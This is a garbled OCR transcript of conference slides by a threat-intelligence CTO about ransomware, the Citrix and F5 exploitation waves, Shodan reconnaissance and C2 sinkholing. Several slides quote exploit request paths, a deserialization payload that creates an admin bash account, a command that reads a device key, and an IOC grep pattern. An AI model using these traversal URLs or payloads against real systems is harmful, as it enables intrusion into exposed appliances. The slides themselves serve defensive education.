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Why is this important?

We continue to lose the fight against ransomware
Supply chain attacks are becoming the new normal
Security solutions have vulnerabilities

Nearly impossible to know partner security posture

Your perimeter is now your remote workforce
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A "Worst Nightmare' Cyberattack: The
Untold Story Of The SolarWinds Hack

XD © © ©

Your website says you do not attack critical infrastructure. We are critical
infrastructure - we intertwined with the food supply chain in the US. If
we are not able to recover very shortly, there is going to be very very
public disruption to the grain, pork and chicken supply chain. About 40%
of grain production runs on our software, and 11 million animals feed
schedules rely on us. This will break the supply chain very shortly, and we
will have to report this to our regulators and likely the public if this
disruption continues. | assume you have thought that through? CISA is
going to be demanding answers from us within the next 12 hours or so
and we are going to have to tell them exactly what has happened and
why the food supply chain is disrupted.

You do not fall under the rules, everyone will only incur losses,
everything is tied to the commerce, the critical ones mean the vital
needs of a person, and you earn money.

Since everything is so serious with you, let's come to an agreement
quickly and solve everything quickly.

Its not that simple. And it does not sound like you actually have rules.
Maybe you just say these things to sound like you care. Supply of food is




Risk at Enterprise Scale
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Attack timeline: Citrix LFI (CVE-2019-19781)

Malicious Business

t Seen: 2019-12-22 Last Seen: 2020-01-29

Vendor disclosed: Dec. 171", 2019 |

179.43.149.12 GET /vpn/jsi%2E./. 76pns/cfg/smb.conf HTTP/1.1 H

r TrlpWIre art|C|e Jan 8th[ 2020 2020-01-19 18:16:45 )1.207.175.198 GET /vpnljsi%?2e./ e/%76pns smb.conf HTTP/1.1 H

2020-01-25 06:55:56. GET Ivpn/js

P G reyn0|se Slg nature Ja n 9thl 20 20 2020-01-28 : g .109 GET /vpn/../vpns/portal/scripts/picktheme.pl?f=3e2e41bd

2020-01-30 13:38:16.000 UTC .139.7: GET /vpn/js/%2e /%7 3 smb.conf HTTP/1.1 H

L] L] th 6379 / TCP This IP address has been observed attempting
° E X | oltation attempts: J ah 10 2020 e i o o et i S|
o ' in Citrix NetScaler products that could enabl:
enumeration of system data, modification of u
MNeh i accounts, and arbitrary code execution
/vpn/ . . [vpns/cfg/smb.cont
/vpn/. . /vpns/portal /scripts/newbm.pl =
[ }

Evasion attempts: Jan 17", 2020 ) ——

/smb.conf HTTP/1.1 -

m— & TrRusTEDSEC SERVICES
54.200.158.6 G S mb.conf HTTP/1.1
54.200.158.6 pn/..lv /smb.conf HTTP/1.1 January 12, 2020 Compromise

54.200.1586 G ivpn/../vpns/cfg/smb.conf HTTP/1.1

The first compromise ¢

> 5.101 SET vpn/..ivp g/smb.conf HTTP/1.1 . X
smb.conf file using th
> 5.101.0 GE pn/ s/cfg/smb.conf HTTP/1.1

1-12 12:13:33 JTC 5.101.0.209 (C l.v mb.conf HTTP/1.1

)-01-12 12:17:38.000 UTC 5.101.0.209 GET /vpn/../ivpns/cfg/smb.conf HTTP/1.1

87.174.104 - - [12/Jan/2020:11:26:02 +0000]
1-12 12:18 O UTC 5.101.0.209 /. b.conf HTTP/1.1
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CVE-2020-5902 — Security reviews are hard

The Traffic Management User Interface (TMUI), also referred to as the Configuration utility,
has a Remote Code Execution (RCE) vulnerability in undisclosed pages (K52145254)

TL;DR —this is a path traversal vulnerability against the management GUI

https://$IP/tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp?command=ANYTHING

F5 does advise against exposing this to the internet

* 10k people didn't follow that advice PULSE SECURE,
GITRIX, Fo NETWORKS.

#% SHODAN

fe Exploits *% Maps 2

Japan

2 A
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CVE-2020-5902 — Two Exploits, One CVE

tmshCmd.jsp - the “"second” exploit was the first seen ITW

Hsqldb — the POC was Java based; this is the “first” exploit
* ITW exploits seen 2 days AFTER tmshCmd.jsp variant

Indiscriminate/automated attacks seen in error messages

sr java.util.HashSet.D..... 4  xpw @ sr 4o
rg.apache.commons.collections.keyvalue.TiedMapEntry....9.
L keyt Ljava/lang/Object;L mapt Ljava/util/Map;x

pt foosr *org.apache.commons.collections.map.LazyMapn...
Vi L factoryt ,Lorg/apache/commons/collections/Trans
former;xpsr :org.apache.commons.collections.functors.Chai
nedTransformer@. . .(z. [ iTransformerst -[Lorg/apache/
commons/collections/Transformer;xpur -[Lorg.apache.common
s.collections.Transformer;.V¥*. .4 . Xxp sr ;org.apache
.commons.collections.functors.ConstantTransformerXv. A ..
L iConstantq ~ xpvr java.lang.Runtime Xps

r :org.apache.commons.collections.functors.InvokerTransfo
rmer...k{|.8 [ 1iArgst [Ljava/lang/Object;L iMethodNa
met Ljava/lang/String;[ 1iParamTypest [Ljava/lang/Class
;xpur  [Ljava.lang.Object;..X. s)1  xp t getRuntimeu

iS5 avatilang Clas s 2 Xp t getMethoduq ~
vr java.lang.String...8z;.B xpvq ~ sq ~ uq ~
puq ~ t invokeuq ~ vr java.lang.0Object
Xpvq ~ SqQ ~ uq ~ ur [Ljava.lang.String;..V..

{G  xp t /bin/sht -ct .tmsh -c 'create auth user s
ystems password ABcD@@7...AQ1 shell bash partition-access
add { all-partitions { role admin }}'; tmsh -c 'list aut

h' > /var/tmp/auth;t execuq ~ vq ~ ,sq ~ sr java.

lang.Integer ...... 8 I valuexr java.lang.Number... .
. Xp sr java.util.HashMap ... . F loadFactorI
thresholdxp?@ w XXX

* Therequested user (bigipuser3) already exists in partition Common.] cmd_data=create auth user bigipuser3 password **** shell bash partition-access add { all-partitions

{role admin}}

|IOCs hunting via grep string (seriously!):

» zgrep -rik '(hsqldb%3bllogin.jsp/..%63b/hsqgldb|..;/|..%3b/|hsqldb|bigipuser3|systems|run util bash|base64|f5.sh|fsmkul)' /var/log/*
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Those who do not learn history are doomed to repeat it

* https://swarm.ptsecurity.com/rce-in-f5-big-ip/
* Mikhail Klyuchnikov also found CVE-2019-19781 (Citrix RCE)!

* "...take a look at the research "Breaking Parser Logic” by Orange Tsai” (BlackHat 2018)

* The method he used was disclosed 20 months before he found the F5 bug

 CVE-2019-19781 was disclosed 5 months prior LET MESTOP YOU RIGHT

* He didn't find the tmshCmd.jsp POC THERE

* Sowho did?

Conclusion

We were able to get Remote Command Execution on the F5 Big-IP appliance via the next three easy steps:

R

THE AhSW'EII ISi I
ﬂlIENS‘ '""°"°°“=

1. Discovering a misconfiguration of the Apache HTTP Server and Apache Tomcat
2. Discovering the use of default credentials for HSQLDB
3. Discovering questionable static methods in the F5 Big-IP TMUI libraries

The timeline:

* 1 April, 2020 — Reported to F5 Networks
e 3 April, 2020 — Vulnerability reproduced by F5
e 1 July, 2020 — Security Advisory and Fixes have been released
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https://swarm.ptsecurity.com/rce-in-f5-big-ip/

What we found in the rubble mmmmmm(bﬁm_

|&Ve

Web Shells, XMR Miners, PupyRAT & more

Python port scanners/lateral movement tools

Indications of advanced knowledge:

" \ :
* mount -o {rw|ro},remount /usr; (filesystem workaround) .. OHBOY'HERE! GO HACKIN AGAINT
* cat /config/bigip/kstore/master (SecureVault device key)

REST APl abused post-compromise once attacker account created

» Mitigations don’t apply to REST; functionality is ‘by design’ when authenticated

; ° https://research.nccgroup.com/2020/07/05/rift-f5-networks-k52145254-
i tmui-rce-vulnerability-cve-2020-5902-intelligence/ - the definitive IOC list
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https://research.nccgroup.com/2020/07/05/rift-f5-networks-k52145254-tmui-rce-vulnerability-cve-2020-5902-intelligence/

80.http.get.title: citrix OR 80.http.get.title: nets

SEARCH THE DATA GATHERED BY BINARYEDGE ”

* Censys

Top Tags Business Spoofable

. C
* BinaryEdge
I n r A~ Web Scanner 34

T e Air Force Systems Networking

* BGPView

4+ Telnet Scanner

> IP: 140.175.191 .15 Country: United States Last Seen: 2020-05-08
“+ FTP Scanner 7 >

* (many others)

‘+ DNS Scanner 5

 Shodan
Business Spoofable

7 G rey n O i Se Unknoun - Air Force Systems Networking
Windows 7/8 1

> IP: 140.175.19.21 Country: United States Last Seen: 2020-25-08
> rDNS: stat-219021 .scott.af.mil
274
13
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Malicious traffic is a global problem

- .. ~
e ~6 million ‘malicious’ IPs &

A3 194.177.239.81 View Raw Data

classification:unknown

* Every ¢

° ~9m|| \ Nuuk

Greenland — )
Coun‘;rles: ( Tele Greenland 3% SerVICeS
China
Vietnam
ol Microsoft IIS

gy Pt 2019-12-04T10:58:40.940932
Indonesia HTTP/1.1 200 OK
Russia tms.video.gl
India
Taiwan ASN AS8818
Thailand
Venezuela
Greece
United States
Turkey
Iran
Mexico
Argentina
Italy

Ukraine FLiy Slalnies — NULTULR 4iDdLialiu
Hong Kong DVR/IP Camera Bruteforcer - Palau 558 130
VStarcam C7824WIP Hardcoded Telnet Attempt -~ . . s
S[_)uth Korea Looks Like Conficker i §a° Tome and Prlnc1pe
Viet Nam Mikrotik CVE-2018-14847 Worm — AOland Islands
Mirai Variant 20764

Tele Greenland

Vietnam
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M 3bd6f15f-8989-4082-balb-b71fa105198f.pcap

File Edit View Go Capture Analyze Statistics Telephony Wireless Tools Help

Forensics & Threat Intel S

Solutions

* greynoise analyze - analyze
unstructured log data

raw_data.web_paths: " /weaver/bsh_servlet . BshServlet”

* greynoise pcap — packet capture
time maChine (Sti” in beta) Malicious Hosting

Augment threat intel data

Find & b|OCk kn Own bad aCtOrS * ’ - HTTP Alt Scanner ‘ I Joomla RCE CVE-2015-8562

’ Tomcat Manager Scanner ‘ +4 tags

IP: 49.234.29.65

" App name (tds.7login.appname), 20 bytes
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Shodan hunting 101

% SHODAN Pricing® | port:2375 product:"Dot

SHODAN Pricing2 = wvuln:CVE-2019-0708

* Port

TOTAL RESULTS

Product 3,316 ToAReSUTS
TOP COUNTRIES 470’839

" . .
Organlzatlon TOP COUNTRIES
* Enterprise features
United States v 905
* $10k/year license China 561 .
Japan 314 China 194,973
: . Ge 215 i
° tagself_s|gned rmany United States 53,789
Ireland 177 Korea, Republic of 23,891
ANIZA Brazil 19,704
° . e = N <
vuln:CVE-YYYY-NNNN e —
Hangzhou Alibaba Advertising Co.,Ltd. 268
Amazon Data Services France 136 TOPPO RTS ____________________________________________________________
Tencent cloud computing 73 1ol $5202
Amazon Data Services Ireland Limited 73 3388 5,570
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Top 10 Results for Facet:
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° Pricing 2 http_title:"GPON Home Gateway"

Facﬁ‘ A “ﬂ" lﬂ:ﬂ

" SHODAN Pricing &2

ssl.cert.issuer.CN

http.html

&% SHODAN

http.title

*% Maps

®» Exploits

* ssl.cert.subject.CN
SSl.cert.subject.
265,067 58,992
15,967
Tz 2,758
’\" F 2,585
United States w ’ > 4 al State of 1,949
Switzerland
Australia 43.49
France United States 25.917
X 5 Germany

United Kingdom 21,350

Israel
More... China 24
United Kingdom 19
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Advanced fingerprinting techniques

3 202.129.58.131  viewrawoata

* Find a sample system

* Shodan IP Details = Raw Data mraene

CAT Telecom
Communication Authority of Thailand,CAT

 Find a unique attribute

2020-01-28722:48:36.371616

* Vendor-specific strings Asos31

* Hard-coded landing pages R —

° Path red|rects data.@.opts.heartbleed
data.@.opts.vulns

e HTTP Headers :
data.@.port

* Shodan metadata

data.@.product

» Download results for deeper digging
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185.130.124.112

Org search is your friend gt

Maximum Players: 2
videogame version: 1.15.2 (Protocol 578)
Description: A Minecraft Server

. .
* Ingram Micro is a huge company
185.130.127.162
Ingram Micro d.o.0. Beograd © SSL Certificate Remote Desktop Protocol
& serbia Issued By: 13\x0¢’ af
|- Common Name:
O 0 G self-signed cP-00 ; Administrator
Y any ach|S|t|ons
185.130.127.177 e
Ingram Micro d.o.o0. Beograd DCE/RPC Endpoint Mapper Supported SSL Versions:
t - A TLSv1, TLSv1.1, TLSv1.2
f Serbia Max Count: 5@
® I I f A N Actual Count: 5ee
a r O I n y Number of Entries: 50
Mapped services:
UUID: d9safe7e-a6d5-4259-822e-2c84dalddbed
° 1l = \ IP Address: 185.130.127.177
L]
rg:"Ingram Micro T ore s
UUID: d9safe7@-a6d5-4259-822e-2c84dalddbed
ncalrpc: WindowsShutdown
[ J

Serbian office is interesting...

’ 185.130.127.167
‘ Ingram Micro d.o.o. Beograd DCE/RPC Endpoint Mapper 185.130.127.177
& serbia Max Count: 560 Ingram Micro d.o.o. Beograd SMB Status:

Actual Count: 5ee A serbia
Number of Entries: 50

Authentication: enabled

SMB Version: 1

0S: Windows Server 2016 Datacenter 14393
Software: Windows Server 2016 Datacenter 6.3
Capabilities: extended-security, infolevel-pas

Mapped services:

UUID: d95afe7e-a6d5-4259-822e-2c84dalddbed
IP Address: 185.130.127.167

TCP Port: 49664

UUID: d95afe70-a6d5-4259-822e-2c84dalddbed

ncalrpc: WindowsShutdown 185'130'127‘162
Ingram Micro d.o.o. Beograd SMB Status:
UUID: d9safe7@-a6ds-4259-822e-2c84dalddbe. .. & serbia Authentication: enabled

SMB Version: 1
0S: wWindows Server 2@16 Datacenter 14393

4 BrUCON OXOD - October 7th 2021 Software: Windows Server 2016 Datacenter 6.3
1

Capabilities: extended-security, infolevel-pas
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Command & Control based malware 101

* Bespoke (actor developed & maintained)

* Professional tooling (Metasploit, Cobalt Strike, etc.)

* Commodity tooling (NanoCore, AgentTesla)

* Most common attack vector: email

* Small, usually obfuscated payload

* On execution, attempts to find C2 via DNS or direct IP

* DNS is more resilient & preferred for indiscriminate attacks
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It's (almost) always DNS

s DNS meanS We Can Inflltrate Nameservers for org
* Partial coverage is good enough
* We get signal globally
org domain
[

Mischief is possible . \_sams ) — Nameserer

IP addr for
en.wikipedia.org is

IP addr for
208.80.154.224 en.wikipedia.org 7

208.80.154.224 1 .
wikipedia.c:rg\

Nameserver
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A different approach: C2 network infiltration

* Bad guys don’t notice (attrition is expected) m 3 n“n THE SK““KS

» Doesn’t require endpoint clients / appliances

* Provides instantaneous signals intelligence
* Neuters part of the C2 infrastructure

* Two flavors: DNS only & full L7

* It's just plain cool

K.
CATL%RDAYNIGHTFEV ERWORLD.WORDPRESS.COM
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DNS-only infiltration & its limitations

* False positives
e Security companies
* Attachment detonation services

* URL expanders

* Open resolvers (Google, Cloudflare)

* APTs are nearly invisible (bespoke infrastructure) k w
i
_ -I-l\\-
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DNS-only visibility is still useful

* Shows how bad we are at utilizing DNS IOCs
* Provides signal "something” happened

* Can be stage 1 of a larger problem

* Groundwork to infiltrate at L7

my * Good for assessing geographic trends

»

Y /o
-/ oo/
[/ (T /

/ context than traditional sinkhole
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Pathogen Spread: Ransomware

RS threat_family :"WastedLocker"

threat_family :"Ryuk"
+ Add filter

+ Add filter v threat_family :"Sodinokibi ) v threat_family :"Mazel'

RyU k » DNS_first
® + Add filter &) + Add filter

DNS_first

DNS_first DNS_first

Sodinokibi - \. -

e

WastedLocker

Maze

AFRICA

OCEANIA

lat: 6515806, lon: -73.10367, zoom: 0.59

Elastic Maps Service, OpenMapTiles, OpenStreetMap contributors
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Pathogen Spread: RATs

G| threat_family :"lcedID"

ICed I D ©  +Add filter & threat_family :"NanoCore" @ *Ad &) threat_family :"Cobalt Strike"

+ Add filter ® threat_family :'QakBot" DNS-first ()

threat_family :"TrickBot"

DNS_first

N a n O C O re DNS_first @  +Add filter : e et

(+) DNS_first o
e o :

QakBot .

TrickBot
Cobalt Strike

AFRICA

OCEANIA

zoom: 0.59
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Companies/Organizations

A King Faisal Specialist Hospital

] ] (N A7 Centre Hospitalier Universitaire De Toulouse
CTl League use of DNS visibility .
Azul Hospitality Group
™My Soc Benefic De Senhoras Hospital Sirio Libanes
* Healthcare organizations != security companies S
. . o cC ™M Security Forces Hospital
* Signals are more likely to be true positives
™My Mata Chanan Devi Hospital
® HOSp'tals were hUge ta rg ets |n 2020 Cmpenes/Organiations ™M Centre Hospitalier Universitaire Vaudois Chuv
A Nalc Health Benefit Plan ™My Helsinki University Central Hospital
* My boss gave away access for free
Tsi Fuer Alliance Healthcare Deutschland Ag
e COOI’d | natEd W|th H'ISAC Novant Health Inc

Intermountain Health Care

Multiple hospitals avoided ransomware

New Era In Healthcare

Adventist Health Systems

Personal Home Health Fvs

F 5 & & £ R 1}

/ BruCON OxOD - October 7th, 2021 Parkland Health & Hospital System



Full infiltration: The better way

Origin(Infected) IP Address: 149

Continue to host malicious C2 zones

Beacon Count: 9
First Seen Date & Time: 2021-02-2710:29:22

* Respond with sensor IP we control
Last Seen Date & Time: 2021-03-03 18:45:40

* Allow malware to connect (any port/proto) POrt & Frotocol: 443
Certificate Hash: fb2f577adfe6d9836d00a21a1016e
* Record what it sends Certificate Name: *.amstel.dox.pub
Region: north america
* Correlation against SSL Cert data Country: united states

ISP/Cloud Provider: digitalocean lic

,_Spread rate’ geographlc dIStrlbUthn, etc. Destination (Sensor) IP Address: 132
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Visibility provided by full-infiltration

Actual affected user IPs

No longer masked by recursive DNS providers

Usernames & p asSWoO I’d ) IPADDRESS  PORT USERNAME PC NAME BEACON INTERVAL

Machine names

OS Versions

Weird payloads

C2 DOMAIN
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With great power comes.....evil ideas

BGP hijacking attacker C2

MITM malware traffic

Insert tracking payloads during exfiltration

Replace exfiltrated data with ransomware

Remotely delete malicious payloads \'I( “'
\ | RS < ( ,— ,L

?{x; ":-!“ | iy 4,'-" \
\ b :

77/ Patch botnets
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" Internet Service Provider 44231
Meris Botnet

Telecommunications

Meris Activity by Unique Source IP

S Internet Colocation Services 617
Education 7S
Research and Development 58
Internet Hosting Services 47
Publishing 46
Health 38
Government (General) 32
Data Services 32
Motor Vehicles 21
Manufacturing 10
Government (Federal) )
Retail 8
Finance 7
Medical and Dental Services 7
Internet Cafes 6
Wholesale 5
Transportation 4
Banking 4
Private Service 3
Professional Service 3
Lodging 3
Testing 2
Business Conglomerate il
Member Organization 1
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Closing Thoughts

* The 90’s called; they want their attacks back
» Zero days are expensive
* Mistakes are free

* Assess your network regularly
* Weekly/Monthly

 Exploit disclosure

* Anytime something changes

* https://github.com/n0x08
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Thank you!

NATE WARFIELD | CHIEF TECHNOLOGY OFFICER | PREVAILION
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